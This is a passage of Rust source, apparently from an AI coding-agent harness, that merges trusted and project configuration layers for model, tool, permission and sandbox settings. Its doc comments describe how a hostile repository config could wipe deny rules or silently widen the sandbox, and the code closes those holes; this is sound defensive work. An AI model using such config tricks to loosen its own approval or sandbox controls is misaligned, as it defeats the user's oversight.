        // P2 addition: `edit_file`'s `schema_tier` resolves the same way
        // `bash`'s does (see the `EditFileToolConfig` doc comment) —
        // `require_read_before_edit`/`notebook_aware` still have no
        // `ToolOverride` field (P3/P4), so they're excluded here.
        if c.tools.edit_file.schema_tier.is_some() {
            tool_overrides.insert(
                "edit_file".to_string(),
                ToolOverrideProfile {
                    enabled: None,
                    description: None,
                    schema_tier: c.tools.edit_file.schema_tier.clone(),
                    timeout_secs: None,
                },
            );
        }

        ConfigProfile {
            model: c.model.clone(),
            // P4 (§1.8 "env substitution in values"): `${VAR}` expansion —
            // see `expand_env_vars`'s doc comment for the exact fields this
            // applies to and why. `base_url` is the flagship case (D6 row:
            // route to a different endpoint per environment without a
            // separate config file per deployment).
            base_url: c.base_url.as_deref().map(expand_env_vars),
            api_key_env: c.api_key_env.clone(),
            // NOT expanded: this is a COMMAND string (§1.8 D6 row), and the
            // shell that runs it (`sh -c`, `agent.rs::run_api_key_cmd`)
            // already expands `${VAR}`/`$VAR` itself — expanding it again
            // here would double-substitute and could leak a resolved value
            // into a place that then gets logged/echoed as plain config
            // text instead of running through the shell's own environment.
            api_key_cmd: c.api_key_cmd.clone(),
            // BP-9: same reasoning as `api_key_cmd` — an argv helper is
            // exec'd, never string-substituted, so expanding it here would
            // resolve a secret into plain config text.
            api_key_command: c.api_key_command.clone(),
            update_check: c.update_check,
            system_prompt: c.system_prompt.as_deref().map(expand_env_vars),
            // P4 (§3.1 `core.append_system_prompt`, D2 row 1): additive,
            // never a replacement — see `ConfigBuilder::apply_profile`'s
            // composition. Same env-substitution treatment as
            // `system_prompt` above.
            append_system_prompt: c.append_system_prompt.as_deref().map(expand_env_vars),
            temperature: c.temperature,
            max_tokens: c.max_tokens,
            effort: c.effort.clone(),
            // §3.1: sandbox/approval live under `[capabilities.permissions]`,
            // not `[core]` — module-settings consumption is P3, so this
            // `[core]`-only resolver leaves them unset.
            sandbox: None,
            approval: None,
            project_context: c.project_context,
            max_iterations: c.max_iterations,
            additional_dirs: c
                .additional_dirs
                .as_ref()
                .map(|dirs| dirs.iter().map(|d| expand_env_vars(d)).collect()),
            compact_after_messages: c.compaction.after_messages,
            // §3.1: lives under `[capabilities.cache]` — P3 consumption.
            cache_plan: None,
            cache_warnings: None,
            // §3.1: lives under `[capabilities.deferred_tools]` — P3.
            tool_advertising: None,
            tool_advertising_core: None,
            schema_tier: c.tools.schema_tier.clone(),
            // §3.1: lives under `[capabilities.permissions]` — set by
            // `materialize_config` after this `[core]`-only resolver runs.
            auto_approved_tools: None,
            tool_deny_patterns: None,
            tool_allow_patterns: None,
            extra_headers: c.extra_headers.as_ref().map(|headers| {
                headers
                    .iter()
                    .map(|(k, v)| (k.clone(), expand_env_vars(v)))
                    .collect()
            }),
            extra_body: c.extra_body.as_ref().map(|body| {
                body.iter()
                    .map(|(k, v)| {
                        let v = match v {
                            serde_json::Value::String(s) => {
                                serde_json::Value::String(expand_env_vars(s))
                            }
                            other => other.clone(),
                        };
                        (k.clone(), v)
                    })
                    .collect()
            }),
            max_tool_output_bytes: c.max_tool_output_bytes,
            max_total_output_tokens: c.max_total_output_tokens,
            max_budget_usd: c.max_budget_usd,
            max_steps: c.max_steps,
            price_input_per_mtok: c.price_input_per_mtok,
            price_output_per_mtok: c.price_output_per_mtok,
            prompts: if c.prompts.is_empty() {
                None
            } else {
                Some(
                    c.prompts
                        .iter()
                        .map(|(k, v)| (k.clone(), v.clone()))
                        .collect(),
                )
            },
            tool_overrides: if tool_overrides.is_empty() {
                None
            } else {
                Some(tool_overrides)
            },
            // P4b: obligations 1/4/5/6/7 — see each field's doc comment on
            // `ConfigProfile`/`Config` for the exact §3.1 key it maps.
            env_context: c.env_context,
            project_root_markers: c.project_root_markers.clone(),
            // BP-4 (§3.1 "0/absent = uncapped"): `0` is the schema's own
            // spelling for "this preset caps nothing" (cc-parity says it
            // explicitly — CC documents no byte cap on CLAUDE.md), so it
            // must NOT reach `Config` as a zero-byte cap that truncates
            // every instruction file to nothing.
            project_doc_max_bytes: c.project_doc_max_bytes.filter(|n| *n > 0),
            project_doc_excludes: c.project_doc_excludes.clone(),
            project_doc_strip_comments: c.project_doc_strip_comments,
            instruction_imports: c.instruction_imports,
            retry_enabled: c.retry.enabled,
            retry_max_retries: c.retry.max_retries,
            retry_base_delay_ms: c.retry.base_delay_ms,
            compaction_reserve_tokens: c.compaction.reserve_tokens.map(|n| n as u64),
            compaction_keep_recent_tokens: c.compaction.keep_recent_tokens.map(|n| n as u64),
            compaction_focus_instructions: c.compaction.focus_instructions.clone(),
            auto_title: c.session.auto_title,
            steering_mode: c.steering.steering_mode.clone(),
            follow_up_mode: c.steering.follow_up_mode.clone(),
            // P4c: obligations 2/4/10 — see each field's doc comment on
            // `ConfigProfile`/`Config` for the exact §3.1 key it maps.
            read_file_multimodal: c.tools.read_file.multimodal,
            // BP-2 (catalog:26/:58): the `cat -n` gutter and the
            // recoverable tool-output spill door.
            read_file_line_numbers: c.tools.read_file.line_numbers,
            tool_output_spill: c.tool_output_spill,
            edit_file_require_read_before_edit: c.tools.edit_file.require_read_before_edit,
            edit_file_notebook_aware: c.tools.edit_file.notebook_aware,
            shell_env_snapshot: c.shell_env_snapshot,
            doom_loop_threshold: c.doom_loop_threshold,
            nested_instructions: c.nested_instructions,
            model_switch_allow_switch: c.model_switch.allow_switch,
            model_switch_notice: c.model_switch.notice,
            // P4e: obligations 1/4/5/6 — see each field's doc comment on
            // `ConfigProfile`/`Config` for the exact §3.1 key it maps.
            context_injections: c.context_injections,
            compaction_enabled: c.compaction.enabled,
            // BP-1: `[core.compaction] summarize` was parsed into
            // `CoreCompactionConfig` and then dropped on the floor here —
            // every preset sets it and nothing downstream could ever read
            // it. Materialized onto `Config::compaction_summarize` now.
            compaction_summarize: c.compaction.summarize,
            parallel_tool_calls: c.parallel_tool_calls,
            session_git_metadata: c.session.git_metadata,
            session_dir: c.session.dir.clone(),
            session_persist: c.session.persist,
            session_name: c.session.name.clone(),
            session_retention_days: c.session.retention_days,
            session_export_format: c.session.export_format.clone(),
            session_append_only: c.session.append_only,
            session_queue_persist: c.session.queue_persist,
        }
    }

    /// Resolve straight into a [`Config`] via
    /// [`ConfigBuilder::apply_profile`] — a convenience for embedders/tests
    /// that don't need the intermediate profile. Ignores `extends` (P2) and
    /// every `[capabilities.*]` module (P3+); P1 is the `[core]` config
    /// surface only (design §5.2).
    pub fn resolve_core(&self) -> Config {
        ConfigBuilder::default()
            .apply_profile(&self.to_config_profile())
            .build()
    }

    /// §3.3 overlay: `over` wins wherever it sets a value. Scalars replace,
    /// tables merge key-wise (recursively for `[capabilities.*]` settings),
    /// arrays replace wholesale — the same semantics
    /// [`ConfigBuilder::apply_profile`] already uses for the `[core]`
    /// region, generalized here to the whole `HarnessConfig` (§3.5 step 3's
    /// "fold the chain … with the §3.3 overlay semantics").
    pub fn overlay(&self, over: &HarnessConfig) -> HarnessConfig {
        HarnessConfig {
            schema: over.schema.clone().or_else(|| self.schema.clone()),
            schema_version: over.schema_version,
            extends: over.extends.clone().or_else(|| self.extends.clone()),
            core: merge_core(&self.core, &over.core),
            capabilities: merge_capabilities(&self.capabilities, &over.capabilities),
            experimental: {
                let mut e = self.experimental.clone();
                merge_json_object(&mut e, &over.experimental);
                e
            },
        }
    }
}

macro_rules! merge_opt {
    ($base:expr, $over:expr, $field:ident) => {
        $over.$field.clone().or_else(|| $base.$field.clone())
    };
}

fn merge_core(base: &CoreSection, over: &CoreSection) -> CoreSection {
    CoreSection {
        model: merge_opt!(base, over, model),
        base_url: merge_opt!(base, over, base_url),
        api_key_env: merge_opt!(base, over, api_key_env),
        api_key_cmd: merge_opt!(base, over, api_key_cmd),
        api_key_command: merge_opt!(base, over, api_key_command),
        update_check: merge_opt!(base, over, update_check),
        effort: merge_opt!(base, over, effort),
        temperature: merge_opt!(base, over, temperature),
        max_tokens: merge_opt!(base, over, max_tokens),
        max_iterations: merge_opt!(base, over, max_iterations),
        max_total_output_tokens: merge_opt!(base, over, max_total_output_tokens),
        max_budget_usd: merge_opt!(base, over, max_budget_usd),
        max_steps: merge_opt!(base, over, max_steps),
        price_input_per_mtok: merge_opt!(base, over, price_input_per_mtok),
        price_output_per_mtok: merge_opt!(base, over, price_output_per_mtok),
        max_tool_output_bytes: merge_opt!(base, over, max_tool_output_bytes),
        parallel_tool_calls: merge_opt!(base, over, parallel_tool_calls),
        tool_output_spill: merge_opt!(base, over, tool_output_spill),
        shell_env_snapshot: merge_opt!(base, over, shell_env_snapshot),
        system_prompt: merge_opt!(base, over, system_prompt),
        append_system_prompt: merge_opt!(base, over, append_system_prompt),
        project_context: merge_opt!(base, over, project_context),
        env_context: merge_opt!(base, over, env_context),
        context_injections: merge_opt!(base, over, context_injections),
        nested_instructions: merge_opt!(base, over, nested_instructions),
        instruction_imports: merge_opt!(base, over, instruction_imports),
        project_root_markers: merge_opt!(base, over, project_root_markers),
        hot_reload: merge_opt!(base, over, hot_reload),
        project_doc_max_bytes: merge_opt!(base, over, project_doc_max_bytes),
        project_doc_excludes: merge_opt!(base, over, project_doc_excludes),
        project_doc_strip_comments: merge_opt!(base, over, project_doc_strip_comments),
        file_mentions: merge_opt!(base, over, file_mentions),
        output_style: merge_opt!(base, over, output_style),
        path_rules: merge_opt!(base, over, path_rules),
        doom_loop_threshold: merge_opt!(base, over, doom_loop_threshold),
        additional_dirs: merge_opt!(base, over, additional_dirs),
        extra_headers: match (&base.extra_headers, &over.extra_headers) {
            (Some(b), Some(o)) => {
                let mut m = b.clone();
                m.extend(o.clone());
                Some(m)
            }
            (None, Some(o)) => Some(o.clone()),
            (b, None) => b.clone(),
        },
        extra_body: match (&base.extra_body, &over.extra_body) {
            (Some(b), Some(o)) => {
                let mut m = b.clone();
                for (k, v) in o {
                    m.insert(k.clone(), v.clone());
                }
                Some(m)
            }
            (None, Some(o)) => Some(o.clone()),
            (b, None) => b.clone(),
        },
        model_switch: CoreModelSwitchConfig {
            allow_switch: merge_opt!(base.model_switch, over.model_switch, allow_switch),
            notice: merge_opt!(base.model_switch, over.model_switch, notice),
        },
        retry: CoreRetryConfig {
            enabled: merge_opt!(base.retry, over.retry, enabled),
            max_retries: merge_opt!(base.retry, over.retry, max_retries),
            base_delay_ms: merge_opt!(base.retry, over.retry, base_delay_ms),
        },
        tools: CoreToolsConfig {
            enabled: merge_opt!(base.tools, over.tools, enabled),
            schema_tier: merge_opt!(base.tools, over.tools, schema_tier),
            read_file: ReadFileToolConfig {
                multimodal: merge_opt!(base.tools.read_file, over.tools.read_file, multimodal),
                line_numbers: merge_opt!(base.tools.read_file, over.tools.read_file, line_numbers),
            },
            edit_file: EditFileToolConfig {
                require_read_before_edit: merge_opt!(
                    base.tools.edit_file,
                    over.tools.edit_file,
                    require_read_before_edit
                ),
                notebook_aware: merge_opt!(
                    base.tools.edit_file,
                    over.tools.edit_file,
                    notebook_aware
                ),
                schema_tier: merge_opt!(base.tools.edit_file, over.tools.edit_file, schema_tier),
            },
            bash: BashToolConfig {
                enabled: merge_opt!(base.tools.bash, over.tools.bash, enabled),
                description: merge_opt!(base.tools.bash, over.tools.bash, description),
                schema_tier: merge_opt!(base.tools.bash, over.tools.bash, schema_tier),
                timeout_secs: merge_opt!(base.tools.bash, over.tools.bash, timeout_secs),
            },
        },
        skills: CoreSkillsConfig {
            enabled: merge_opt!(base.skills, over.skills, enabled),
            dirs: merge_opt!(base.skills, over.skills, dirs),
            harness: merge_opt!(base.skills, over.skills, harness),
            implicit_match: merge_opt!(base.skills, over.skills, implicit_match),
            shell_injection: merge_opt!(base.skills, over.skills, shell_injection),
        },
        prompts: {
            let mut p = base.prompts.clone();
            for (k, v) in &over.prompts {
                p.insert(k.clone(), v.clone());
            }
            p
        },
        compaction: CoreCompactionConfig {
            enabled: merge_opt!(base.compaction, over.compaction, enabled),
            after_messages: merge_opt!(base.compaction, over.compaction, after_messages),
            reserve_tokens: merge_opt!(base.compaction, over.compaction, reserve_tokens),
            keep_recent_tokens: merge_opt!(base.compaction, over.compaction, keep_recent_tokens),
            summarize: merge_opt!(base.compaction, over.compaction, summarize),
            focus_instructions: merge_opt!(base.compaction, over.compaction, focus_instructions),
        },
        session: CoreSessionConfig {
            dir: merge_opt!(base.session, over.session, dir),
            name: merge_opt!(base.session, over.session, name),
            persist: merge_opt!(base.session, over.session, persist),
            retention_days: merge_opt!(base.session, over.session, retention_days),
            export_format: merge_opt!(base.session, over.session, export_format),
            auto_title: merge_opt!(base.session, over.session, auto_title),
            git_metadata: merge_opt!(base.session, over.session, git_metadata),
            append_only: merge_opt!(base.session, over.session, append_only),
            queue_persist: merge_opt!(base.session, over.session, queue_persist),
        },
        steering: CoreSteeringConfig {
            steering_mode: merge_opt!(base.steering, over.steering, steering_mode),
            follow_up_mode: merge_opt!(base.steering, over.steering, follow_up_mode),
        },
        output: CoreOutputConfig {
            format: merge_opt!(base.output, over.output, format),
        },
    }
}

/// Recursive key-wise JSON-object merge (§3.3 "tables merge key-wise"):
/// nested objects merge recursively; everything else (scalars, arrays)
/// replaces wholesale when `over` sets it.
fn merge_json_object(
    base: &mut serde_json::Map<String, serde_json::Value>,
    over: &serde_json::Map<String, serde_json::Value>,
) {
    for (k, v) in over {
        match (base.get_mut(k), v) {
            (Some(serde_json::Value::Object(b)), serde_json::Value::Object(o)) => {
                merge_json_object(b, o);
            }
            _ => {
                base.insert(k.clone(), v.clone());
            }
        }
    }
}

/// `[capabilities.*]` merge (§3.3): per capability name, `enabled` replaces
/// and `settings` merges key-wise recursively (via `merge_json_object`) —
/// this is what lets `extends = "cc-parity"` plus a single
/// `capabilities.permissions.approval = "…"` override win without clobbering
/// the rest of the preset's `permissions` table (design §3.5 closing:
/// "per-key override layering means a preset is never all-or-nothing").
fn merge_capabilities(
    base: &BTreeMap<String, CapabilityConfig>,
    over: &BTreeMap<String, CapabilityConfig>,
) -> BTreeMap<String, CapabilityConfig> {
    let mut out = base.clone();
    for (name, ov) in over {
        match out.get_mut(name) {
            Some(existing) => {
                existing.enabled = ov.enabled.or(existing.enabled);
                merge_json_object(&mut existing.settings, &ov.settings);
            }
            None => {
                out.insert(name.clone(), ov.clone());
            }
        }
    }
    out
}

/// Merge the project-layer reduction module without allowing an untrusted
/// repository to widen an explicit trusted disable. Reduction is the one
/// capability a project may enable when the trusted layer is silent, but an
/// explicit `false` on either the module master switch or a documented pass
/// gate is narrowing and therefore dominates `true` from the other layer.
/// Settings still deep-merge so a sibling project key cannot discard trusted
/// gates that it did not mention.
pub fn merge_reduction_capability(
    trusted: Option<&CapabilityConfig>,
    project: Option<&CapabilityConfig>,
) -> Option<CapabilityConfig> {
    fn narrowing_bool(trusted: Option<bool>, project: Option<bool>) -> Option<bool> {
        match (trusted, project) {
            (Some(false), _) | (_, Some(false)) => Some(false),
            (_, Some(true)) => Some(true),
            (Some(true), None) => Some(true),
            (None, None) => None,
        }
    }

    const BOOLEAN_GATES: &[&str] = &[
        "stale_reads",
        "diff_reads",
        "duplicates",
        "tool_input_elision",
        "supersede",
        "normalize_output",
        "image_redaction",
        "span_summaries",
        "handoff",
    ];

    match (trusted, project) {
        (None, None) => None,
        (Some(t), None) => Some(t.clone()),
        (None, Some(p)) => Some(p.clone()),
        (Some(t), Some(p)) => {
            let mut merged = t.clone();
            merged.enabled = narrowing_bool(t.enabled, p.enabled);
            merge_json_object(&mut merged.settings, &p.settings);
            for key in BOOLEAN_GATES {
                let trusted_value = t.settings.get(*key).and_then(|v| v.as_bool());
                let project_value = p.settings.get(*key).and_then(|v| v.as_bool());
                if let Some(value) = narrowing_bool(trusted_value, project_value) {
                    merged
                        .settings
                        .insert((*key).to_string(), serde_json::Value::Bool(value));
                }
            }
            Some(merged)
        }
    }
}

/// Read a nested string-array setting by dotted PATH segments (e.g.
/// `&["rules", "deny"]`, `&["rules", "ask"]`, `&["protected_paths",
/// "paths"]`) — shared by [`merge_permissions_capability`] below. Generalizes
/// the P4a `deny_array` helper (originally hardcoded to `rules.deny` alone)
/// so the P5-1 `rules.ask`/`protected_paths.paths` siblings can reuse the
/// SAME union-not-replace project-merge protection — see that function's
/// doc comment on why a bare array-replace is unsafe for any of these three.
fn nested_str_array(
    settings: &serde_json::Map<String, serde_json::Value>,
    path: &[&str],
) -> Vec<String> {
    let Some((last, dirs)) = path.split_last() else {
        return Vec::new();
    };
    let mut cur = settings;
    for seg in dirs {
        match cur.get(*seg).and_then(|v| v.as_object()) {
            Some(m) => cur = m,
            None => return Vec::new(),
        }
    }
    cur.get(*last)
        .and_then(|v| v.as_array())
        .map(|a| {
            a.iter()
                .filter_map(|x| x.as_str().map(String::from))
                .collect()
        })
        .unwrap_or_default()
}

/// Overwrite the nested string-array setting at `path` (creating
/// intermediate tables as needed) — the write-side counterpart of
/// [`nested_str_array`].
fn set_nested_str_array(
    settings: &mut serde_json::Map<String, serde_json::Value>,
    path: &[&str],
    value: Vec<String>,
) {
    let Some((last, dirs)) = path.split_last() else {
        return;
    };
    let mut cur = settings;
    for seg in dirs {
        let entry = cur
            .entry((*seg).to_string())
            .or_insert_with(|| serde_json::Value::Object(serde_json::Map::new()));
        if !entry.is_object() {
            *entry = serde_json::Value::Object(serde_json::Map::new());
        }
        cur = entry.as_object_mut().expect("just ensured object above");
    }
    cur.insert(
        (*last).to_string(),
        serde_json::Value::Array(value.into_iter().map(serde_json::Value::String).collect()),
    );
}

/// Union two arrays read via [`nested_str_array`] and write the result back
/// via [`set_nested_str_array`] — a project may only ADD entries at `path`,
/// never remove or shrink the trusted layer's (see
/// [`merge_permissions_capability`]'s doc comment for the argument that this
/// is safe/narrowing for `rules.deny`, `rules.ask`, and
/// `protected_paths.paths` alike: an entry at any of these three can only
/// make a decision STRICTER, never looser, so a project adding one is
/// always legal, and a project silently REMOVING one via array-replace is
/// exactly the widening this closes). No-op (skips the write) when both
/// sides are empty, so a `HarnessConfig` with no permissions table at all
/// round-trips with zero spurious `rules`/`protected_paths` tables created.
fn union_nested_str_array(
    trusted: &serde_json::Map<String, serde_json::Value>,
    project: &serde_json::Map<String, serde_json::Value>,
    merged: &mut serde_json::Map<String, serde_json::Value>,
    path: &[&str],
) {
    let trusted_vals = nested_str_array(trusted, path);
    let project_vals = nested_str_array(project, path);
    if trusted_vals.is_empty() && project_vals.is_empty() {
        return;
    }
    let mut union = trusted_vals;
    for v in project_vals {
        if !union.contains(&v) {
            union.push(v);
        }
    }
    set_nested_str_array(merged, path, union);
}

/// Merge a project-layer `capabilities.permissions` table onto the trusted
/// (user/global) layer's — the single canonical merge BOTH the CLI route
/// (`crates/cli/src/userconfig.rs::overlay_project`) and this core resolver
/// (`resolve_top`, below) call, so the two routes cannot diverge the way the
/// independent Fable-5 review of P4a found (proven attacks, both against the
/// hard approval floor `Config::needs_approval` gives `rules.deny` — true
/// even under `ApprovalPolicy::Never`):
///
/// - **Attack A (whole-table replace):** a per-capability `insert` (what the
///   CLI's `overlay_project` used to do, and what a naive per-name merge
///   would still do here) lets a hostile project's `[capabilities.
///   permissions]` table — even one `sanitize_for_project`/
///   `sanitized_for_project` strips down to an EMPTY table because every key
///   it set was forbidden — wholesale REPLACE the trusted layer's populated
///   table, silently wiping `rules.deny` and everything else the user set.
///   Fixed by deep-merging into a CLONE of the trusted table (via
///   `merge_json_object`) rather than ever substituting the project's.
/// - **Attack B (array-replace widens deny):** `merge_json_object`'s "arrays
///   replace wholesale" rule (§3.3 "tables merge key-wise… arrays replace")
///   is correct for `rules.allow` (a widening `allow` is already stripped
///   from a sanitized project layer by P1/P4a) but WRONG for `rules.deny`: a
///   project's own `deny = […]` would otherwise REPLACE, not add to, the
///   trusted layer's list — e.g. user `deny = ["bash*"]` + project
///   `deny = ["harmless*"]` merging to `["harmless*"]` is a real widening
///   (the floor that blocks `bash*` vanishes). Fixed by unioning
///   `rules.deny` explicitly after the deep merge: a project may only ADD
///   deny entries, never remove or shrink the trusted layer's — deny
///   strictly grows.
/// - **Attack B', P5-1 extension:** the identical array-replace hazard
///   applies to TWO more keys the P5-1 permissions engine newly consumes:
///   `rules.ask` (module 11) and `protected_paths.paths` (module 13). Both
///   are narrowing-only by the SAME argument as `deny` — an `ask` entry can
///   only make a decision STRICTER (it is checked before `allow`, and can
///   never override a `deny`), and a protected path is an unconditional
///   deny floor for read+write — so a project may only ADD to either, never
///   silently wipe the trusted layer's via `protected_paths.paths = []`/
///   `rules.ask = []`. Fixed the same way: union both, right alongside
///   `rules.deny`, immediately below.
///
/// `rules.allow` and every other key keep plain deep-merge/replace
/// semantics: this function does not re-derive the sanitizer's trust
/// decisions (that's `sanitize_for_project`/`sanitized_for_project`'s job),
/// it only guarantees the MERGE step can't reintroduce a widening those
/// sanitizers already ruled out.
///
/// No behavior change for the common case: with no project `permissions`
/// table, this returns the trusted layer's table unchanged.
pub fn merge_permissions_capability(
    trusted: Option<&CapabilityConfig>,
    project: Option<&CapabilityConfig>,
) -> Option<CapabilityConfig> {
    match (trusted, project) {
        (None, None) => None,
        (Some(t), None) => Some(t.clone()),
        (None, Some(p)) => Some(p.clone()),
        (Some(t), Some(p)) => {
            let mut merged = t.clone();
            merged.enabled = p.enabled.or(t.enabled);
            merge_json_object(&mut merged.settings, &p.settings);
            // CRITICAL fix (P5-10 security reopen): `merge_json_object`'s
            // generic type-mismatch rule ("everything else replaces
            // wholesale when `over` sets it") is UNSAFE specifically for
            // `sandbox`, because the bare-string shorthand `sandbox = "X"`
            // is §3.1-defined as identical to the table form `sandbox =
            // { tier = "X" }`. When the trusted layer used the bare form and
            // the project supplied the table form (now a normal,
            // non-adversarial shape since P5-10's `escalation`/`env_policy`/
            // `network` subkeys live only in the table), the generic merge
            // above REPLACED the trusted string wholesale with the
            // project's object — even a project object with NO `tier` at
            // all (either because a hostile `tier` was already stripped by
            // `sanitize_for_project`, or because the project only set a
            // benign subkey like `env_policy`) — silently erasing the base
            // tier and falling back to the `DangerFullAccess` default with
            // no warning. Recompute `sandbox` via [`merge_sandbox_value`],
            // which normalizes BOTH sides to canonical table form before
            // deep-merging, so a tier-less project overlay can never erase
            // the base's tier.
            match merge_sandbox_value(t.settings.get("sandbox"), p.settings.get("sandbox")) {
                Some(v) => {
                    merged.settings.insert("sandbox".to_string(), v);
                }
                None => {
                    merged.settings.remove("sandbox");
                }
            }
            union_nested_str_array(
                &t.settings,
                &p.settings,
                &mut merged.settings,
                &["rules", "deny"],
            );
            union_nested_str_array(
                &t.settings,
                &p.settings,
                &mut merged.settings,
                &["rules", "ask"],
            );
            union_nested_str_array(
                &t.settings,
                &p.settings,
                &mut merged.settings,
                &["protected_paths", "paths"],
            );
            Some(merged)
        }
    }
}

/// Canonicalize + deep-merge the `capabilities.permissions.sandbox` value
/// across the trusted/project layers — the type-safe replacement for
/// running it through the generic `merge_json_object` (see
/// [`merge_permissions_capability`]'s doc comment on the CRITICAL P5-10
/// security-reopen fix this closes). §3.1 defines the bare-string shorthand
/// `sandbox = "X"` as identical to the table form `sandbox = { tier = "X" }`
/// — this function normalizes BOTH sides to that table form first, then
/// deep-merges key-wise, so:
///
/// - a trusted bare-string tier survives a project table overlay that omits
///   `tier` entirely (the silent-widen-to-`DangerFullAccess` hole);
/// - a project's own `tier`/`escalation`/`env_policy`/`network`/`enabled`
///   subkeys still take effect and are still subject to
///   [`clamp_project_permissions`]'s separate rank-vs-base-layer clamp
///   below (this function only fixes the MERGE representation, not the
///   monotonic-tightening policy decision).
fn merge_sandbox_value(
    base: Option<&serde_json::Value>,
    project: Option<&serde_json::Value>,
) -> Option<serde_json::Value> {
    fn to_table(v: &serde_json::Value) -> serde_json::Map<String, serde_json::Value> {
        match v {
            serde_json::Value::String(s) => {
                let mut m = serde_json::Map::new();
                m.insert("tier".to_string(), serde_json::Value::String(s.clone()));
                m
            }
            serde_json::Value::Object(o) => o.clone(),
            _ => serde_json::Map::new(),
        }
    }
    match (base, project) {
        (None, None) => None,
        (Some(b), None) => Some(b.clone()),
        (None, Some(p)) => Some(p.clone()),
        (Some(b), Some(p)) => {
            let mut merged = to_table(b);
            let proj_table = to_table(p);
            merge_json_object(&mut merged, &proj_table);
            Some(serde_json::Value::Object(merged))
        }
    }
}

// ---------------------------------------------------------------------------
// §3.3 project sanitization for `HarnessConfig` (P2's resolver-native mirror
// of `crates/cli/src/userconfig.rs`'s `sanitized_for_project` — that
// function keeps gating the CLI's existing `FileConfig`-based `load()` path
// unchanged; this is the parallel, additive rule for the new
// `HarnessConfig`-based §3.5 resolver, same monotonic-tightening contract:
// "a project file may only NARROW the harness, never widen or redirect it"
// (§3.3), sanitize-before-merge (§3.5 step 4).
// ---------------------------------------------------------------------------

/// Parse a `sandbox` string the same way
/// `crates/cli/src/main.rs::parse_sandbox` does (alias-normalizing:
/// `_`/`-`/case-insensitive, `full` as a `danger_full_access` alias) — a
/// small, deliberate duplication rather than a cross-crate dependency (`cli`
/// already depends on `core`, not the reverse), documented here so the two
/// copies can be kept in lock-step if the alias set ever changes.
pub(crate) fn parse_sandbox_str(s: &str) -> Option<SandboxPolicy> {
    match s.replace('_', "-").to_ascii_lowercase().as_str() {
        "read-only" | "readonly" => Some(SandboxPolicy::ReadOnly),
        "workspace-write" | "workspace" => Some(SandboxPolicy::WorkspaceWrite),
        "danger-full-access" | "full" => Some(SandboxPolicy::DangerFullAccess),
        _ => None,
    }
}

/// Parse an `approval` string, same alias treatment as [`parse_sandbox_str`].
/// P5-1: `"model_requested"` is now a REAL, recognized fourth
/// [`ApprovalPolicy`] variant (design §3.2 S8, built this unit) — cx-parity
/// resolves to its intended posture instead of the pre-P5-1 fail-safe to
/// [`ApprovalPolicy::Untrusted`]. Any OTHER unrecognized string still fails
/// safe to `Untrusted`, never silently to `Never` (the existing
/// `apply_profile` precedent, config.rs). The §2.2 C6 check ALSO reads the
/// RAW string directly (not through this parser) for its own
/// `"model_requested"` judgment-call diagnostic — see `validate_modules`;
/// that check is unaffected by this change (it never depended on this
/// parser returning `None`).
pub(crate) fn parse_approval_str(s: &str) -> Option<ApprovalPolicy> {
    match s.replace('_', "-").to_ascii_lowercase().as_str() {
        "never" => Some(ApprovalPolicy::Never),
        "on-request" | "onrequest" => Some(ApprovalPolicy::OnRequest),
        "untrusted" => Some(ApprovalPolicy::Untrusted),
        "model-requested" | "modelrequested" => Some(ApprovalPolicy::ModelRequested),
        _ => None,
    }
}

/// §3.3: the loosest possible sandbox value — the one a project file may
/// never set (tightening to anything else is legal).
fn is_loosening_sandbox_str(s: &str) -> bool {
    parse_sandbox_str(s) == Some(SandboxPolicy::DangerFullAccess)
}

/// §3.3: the loosest possible approval value.
fn is_loosening_approval_str(s: &str) -> bool {
    parse_approval_str(s) == Some(ApprovalPolicy::Never)
}

/// Strictness rank — LOWER is stricter (§3.3's explicit order, same as
/// `userconfig.rs::sandbox_rank`).
pub(crate) fn sandbox_rank(p: SandboxPolicy) -> u8 {
    match p {
        SandboxPolicy::ReadOnly => 0,
        SandboxPolicy::WorkspaceWrite => 1,
        SandboxPolicy::DangerFullAccess => 2,
    }
}

/// Strictness rank — LOWER is stricter (§3.3's explicit order, same as
/// `userconfig.rs::approval_rank`, which is intentionally NOT updated for
/// `ModelRequested` — see `parse_approval_str`'s doc comment on the CLI
/// crate being out of this unit's scope; the CLI's own copy simply never
/// parses the string, so it never reaches this rank at all).
///
/// P5-1: `ModelRequested` sits BETWEEN `OnRequest` and `Never` — it is not
/// the absolute floor `Never` is (under `Never` literally nothing is ever
/// asked; under `ModelRequested` an escalation attempt still can be, per
/// `ApprovalPolicy::ModelRequested`'s doc comment on Codex's real posture),
/// but it prompts less often in practice than `OnRequest`'s client-side
/// allowlist check. This keeps `Never` the one value §3.3's monotonic clamp
/// (`is_loosening_approval_str`) singles out as the absolute forbidden
/// floor.
pub(crate) fn approval_rank(p: ApprovalPolicy) -> u8 {
    match p {
        ApprovalPolicy::Untrusted => 0,
        ApprovalPolicy::OnRequest => 1,
        ApprovalPolicy::ModelRequested => 2,
        ApprovalPolicy::Never => 3,
    }
}

/// Read `capabilities.permissions`'s effective sandbox setting — either the
/// bare-string shorthand (`capabilities.permissions.sandbox = "…"`) or the
/// table form's `tier` (`capabilities.permissions.sandbox.tier = "…"`, §3.1
/// module 12). Returns the RAW string (not yet parsed), for sanitization and
/// C6 diagnostics.
fn permissions_sandbox_raw(hc: &HarnessConfig) -> Option<String> {
    let cap = hc.capabilities.get("permissions")?;
    match cap.settings.get("sandbox")? {
        serde_json::Value::String(s) => Some(s.clone()),
        serde_json::Value::Object(o) => o.get("tier").and_then(|v| v.as_str()).map(String::from),
        _ => None,
    }
}

/// Read `capabilities.permissions.approval`'s raw string value.
fn permissions_approval_raw(hc: &HarnessConfig) -> Option<String> {
    hc.capabilities
        .get("permissions")
        .and_then(|cap| cap.settings.get("approval"))
        .and_then(|v| v.as_str())
        .map(String::from)
}

/// The effective [`SandboxPolicy`] `capabilities.permissions` resolves to —
/// [`SandboxPolicy::DangerFullAccess`] (the [`Config::default`] floor,
/// config.rs) when unset or unparseable, matching `apply_profile`'s
/// fail-safe-to-`ReadOnly` precedent is intentionally NOT reused here: C3
/// (§2.2) needs the ACTUAL default posture (today's `danger_full_access`,
/// tools/mod.rs:40-42), not a hypothetical safe fallback, to detect the real
/// exposure a bare `supercode` invocation has.
fn effective_sandbox(hc: &HarnessConfig) -> SandboxPolicy {
    permissions_sandbox_raw(hc)
        .as_deref()
        .and_then(parse_sandbox_str)
        .unwrap_or(SandboxPolicy::DangerFullAccess)
}

/// The effective [`ApprovalPolicy`] `capabilities.permissions` resolves to —
/// [`ApprovalPolicy::Never`] (the [`Config::default`] floor) when unset,
/// same rationale as [`effective_sandbox`]. P5-1: cx-parity's
